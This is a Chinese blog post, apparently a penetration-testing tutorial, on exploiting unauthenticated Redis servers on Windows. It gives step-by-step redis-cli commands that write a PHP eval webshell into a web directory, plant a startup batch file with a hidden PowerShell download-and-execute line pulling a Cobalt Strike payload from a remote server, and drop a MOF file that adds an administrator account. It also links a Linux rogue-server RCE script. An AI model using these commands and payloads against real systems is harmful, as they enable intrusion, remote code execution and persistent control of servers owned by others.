windows php cli 后台运行_【续】windows环境redis未授权利用方式梳理

01

Redis未授权产生原因

fc01ee43180a883d47cc32f809f6609b.png

1.redis绑定在0.0.0.0:6379默认端口,直接暴露在公网,无防火墙进行来源信任防护。

2.没有设置密码认证,可以免密远程登录redis服务

02

漏洞危害

fc01ee43180a883d47cc32f809f6609b.png

1.信息泄露,攻击者可以恶意执行flushall清空数据

2.可以通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件

3.若以root身份运行,攻击者可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

03

利用方式01-写入webshell

fc01ee43180a883d47cc32f809f6609b.png

写入webshell

1.获取web绝对路径,直接写入webshell

redis-cli.exe -h redis-server] -p 6379redis redis-server> CONFIG SET dir c:/phpstudy/wwwOKredis redis-server> CONFIG SET dbfilename shell.phpOKredis redis-server> set x  “<?php  @eval($_POST['a']) ?>”OKredis redis-server> saveOK

直接访问shell.php即可

04

利用方式02-启动项写入

fc01ee43180a883d47cc32f809f6609b.png

windows下的开机启动项的目录为

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

写入方式有很多,这里我们使用Cobalt Strike来进行演示

先启动CS服务端 ,命令如下:

root@kali:~/cobaltstrike4.1# ./teamserver csip 123456

b6dcfbfdf1cabbd449884b9a2c23499d.png

在启动客户端,输入密码和地址

cb3d668558894cb0bf399ba535ec48d2.png

添加一个Listener 监听器

a87094a33d00fb4b1ca17617915fddc9.png

选择Attacks – Web Drive-By – Script Web Delivery,选择刚才添加的Listener

6deef211a9935c8c8ac1f94de913d8a8.png

点击Launch之后生成如下代码

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs地址:80/a'))"

直接保存为1.bat即可

其中存在两个小细节,一个是由于dbfile本身是有内容的,因此命令要正常运行必须先换行,经过测试需要两个换行符rn才能正常运行,还有一个是由于本身执行命令中也有双引号,因此需要加入转义

redis-cli.exe -h 目标ip -p 6379 redis 目标ip:6379>config set dir “C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/“ OK redis 目标ip:6379> CONFIG SET dbfilename 1.bat OK redis 目标ip:6379>set x "/r/n/r/npowershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://csip:80/a'))"/r/n/r/n

5513c0d4a39d52cc640bab115f61cf10.png

注意这里的双引号要转义,windwos路径的start menu中间一个空格

OK redis 192.168.1.101:6379> save OK

bccc76a95e6dc5623fec8cdd9bef27a8.png

查看服务器启动项,发现正常写入命令

359a0cf8aed18920d54a6b27521ee708.png

重启目标机器,成功上线

9d801218365752adb7aded0cdfcbbff0.png

154a247e256fcef417aa972edf1a3187.png

6a570d16e718792b744926dce721ea92.png

05

利用方式03-写入mof

fc01ee43180a883d47cc32f809f6609b.png

如果由于不能重启机器也无法获取web目录,想到Mof提权,环境限制只能为win2003。

简单描述一下mof提权的原理:

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其实就是有了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

也就是说在`c:/windows/system32/wbem/mof/`目录下的mof文件会每5秒自动执行一次,这样就不需要重启机器就能获取权限了。

首先将如下代码保存为admin.txt文件:

#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name  = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer   = $Consumer; Filter = $EventFilter; };

此处要执行的命令为添加名为admin的用户

3a615c9382744f44310f8721c0e6dc45.png

然后执行

(echo -e "nn"; cat admin.txt; echo -e "nn") > foo.txt

切换到redis目录,运行如下命令

92474c80b6913ece5ada7fa1515e0638.png

过一会就看到用户添加成功了。(本地测试一直未成功,写入mof文件夹成功,但是执行一直到bad文件夹里)

补充一个linux下的利用方式:

在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

利用脚本如下

https://github.com/LoRexxar/redis-rogue-server

实战在生产环境下用还是会有很多问题的

1. redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的

2. Ubuntu,Debian写计划任务反弹无用

3. 写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来

4. 生产环境下用`KEY *` 这样的命令直接炸

e1bdc029e70fcf6a6d4afb43651bd38a.png

【往期推荐】

未授权访问漏洞汇总

干货|常用渗透漏洞poc、exp收集整理

记一次HW实战笔记 | 艰难的提权爬坑

【超详细】Fastjson1.2.24反序列化漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

走过路过的大佬们留个关注再走呗0187527e78cb49c4bc6ad3e5126d2a84.png

往期文章有彩蛋哦b04e2853b4e2b2667738e45e8e402084.png

2578de4af451df7046a27a963b4237e0.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值